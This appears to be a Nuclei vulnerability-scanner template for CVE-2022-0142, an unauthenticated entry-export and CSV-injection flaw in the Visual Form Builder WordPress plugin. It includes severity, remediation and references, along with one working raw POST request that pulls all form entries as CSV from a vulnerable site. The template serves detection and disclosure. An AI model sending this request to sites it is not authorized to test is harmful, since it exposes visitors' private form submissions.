Description
The Visual Form Builder WordPress plugin before 3.0.8 is vulnerable to CSV injection allowing a user with low level or no privileges to inject a command that will be included in the exported CSV file, leading to possible code execution.
The Visual Form Builder WordPress plugin before 3.0.8 is vulnerable to CSV injection allowing a user with low level or no privileges to inject a command that will be included in the exported CSV file, leading to possible code execution.
id: CVE-2022-0142
info:
name: Visual Form Builder < 3.0.8 - Unauthenticated Entry Export (CSV Injection)
author: DhiyaneshDk
severity: high
description: |
The Visual Form Builder WordPress plugin before 3.0.8 is vulnerable to CSV injection allowing a user with low level or no privileges to inject a command that will be included in the exported CSV file, leading to possible code execution.
impact: |
Unauthenticated disclosure of all form entries, and CSV formula injection leading to possible command execution when an administrator opens the exported file.
remediation: |
Update Visual Form Builder to 3.0.8 or later, which adds an authorization check to the entry export.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0142
- https://wpscan.com/vulnerability/03210390-2054-40c0-9508-39d168087878/
- https://www.cvedetails.com/cve/CVE-2022-0142/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-0142
cwe-id: CWE-1236
metadata:
verified: true
max-request: 1
vendor: vfbpro
product: visual_form_builder
framework: wordpress
publicwww-query: "/wp-content/plugins/visual-form-builder/"
tags: cve,cve2022,wordpress,wp-plugin,visual-form-builder,csv-injection,export,unauth,kev,vkev
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
vfb-content=entries
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Content-Disposition: attachment"
- "text/csv"
condition: and
- type: word
part: body
words:
- '"Entries ID"'
- '"Date Submitted"'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100d8781a24e443d65607c839168a09b6536a21fc56e708655715bd82a9a2623146022100ba866dfde855da572ff831f096c8969acddab956769f921380f2e229a5b87514:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.